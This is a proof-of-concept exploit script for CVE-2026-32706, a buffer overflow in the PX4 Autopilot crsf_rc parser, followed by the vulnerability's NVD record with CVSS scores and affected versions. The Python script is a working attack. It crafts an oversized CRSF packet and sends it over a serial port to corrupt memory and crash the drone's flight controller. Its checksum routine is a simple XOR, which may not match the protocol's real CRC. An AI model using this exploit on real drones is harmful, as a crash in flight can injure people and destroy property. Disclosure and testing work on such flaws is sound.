CVE-2026-32706

#!/usr/bin/env python3 """ CVE-2026-32706 PoC - PX4 Autopilot crsf_rc Buffer Overflow This PoC demonstrates sending an oversized CRSF packet to trigger buffer overflow. Note: This is for educational and authorized testing purposes only. """ import struct import serial import time def create_oversized_crsf_packet(): """ Create a malicious CRSF packet with oversized payload. CRSF protocol packet structure: - Device address (1 byte) - Frame length (1 byte) - Frame type (1 byte) - Payload (variable, up to 62 bytes normally) - CRC (1 byte) """ device_addr = 0xC8 # CRSF_ADDRESS_FLIGHT_CONTROLLER frame_type = 0x16 # CRSF_FRAMETYPE_GPS # Normal payload would be 18 bytes for GPS, but we exceed buffer size oversized_payload = b'\x00' * 200 # 200 bytes, far exceeding 64-byte buffer frame_length = len(oversized_payload) + 2 # +2 for type and CRC packet = struct.pack('BB', device_addr, frame_length) packet += struct.pack('B', frame_type) packet += oversized_payload # Calculate CRC8 crc = 0 for byte in packet[2:]: # Skip address and length for CRC crc ^= byte packet += struct.pack('B', crc) return packet def exploit(target_port='/dev/ttyUSB0', baudrate=115200): """ Send malicious CRSF packet to trigger buffer overflow. """ try: ser = serial.Serial(target_port, baudrate, timeout=1) print(f"[*] Connected to {target_port} at {baudrate} baud") malicious_packet = create_oversized_crsf_packet() print(f"[*] Sending oversized CRSF packet ({len(malicious_packet)} bytes)") ser.write(malicious_packet) time.sleep(0.5) print("[+] Packet sent successfully") print("[*] If crsf_rc is enabled, PX4 may crash or become unresponsive") ser.close() return True except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return False if __name__ == "__main__": print("CVE-2026-32706 PoC - PX4 Autopilot crsf_rc Buffer Overflow") print("=" * 60) exploit()

{"cve": {"id": "CVE-2026-32706", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:41.610", "lastModified": "2026-03-17T16:16:22.890", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "PX4 autopilot is a flight control solution for drones. Prior to 1.17.0-rc2, The crsf_rc parser accepts an oversized variable-length known packet and copies it into a fixed 64-byte global buffer without a bounds check. In deployments where crsf_rc is enabled on a CRSF serial port, an adjacent/raw-serial attacker can trigger memory corruption and crash PX4. This vulnerability is fixed in 1.17.0-rc2."}, {"lang": "es", "value": "El piloto automático PX4 es una solución de control de vuelo para drones. Antes de la 1.17.0-rc2, el analizador crsf_rc acepta un paquete conocido de longitud variable sobredimensionado y lo copia en un búfer global fijo de 64 bytes sin una comprobación de límites. En implementaciones donde crsf_rc está habilitado en un puerto serie CRSF, un atacante adyacente/de serie sin procesar puede desencadenar corrupción de memoria y bloquear PX4. Esta vulnerabilidad está corregida en la 1.17.0-rc2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "2FC2D6F1-D77D-44C2-A99C-55CB5A4474B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "033A0A82-2986-44D5-A712-47B8D43407FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "3F2EA96E-BC3A-42AB-B81B-53D5872B2296"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "1EAC5320-8D94-477D-AB85-144F8218DDFB"}]}]}], "references": [{"url": "https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-mqgj-hh4g-fg5p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-mqgj-hh4g-fg5p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}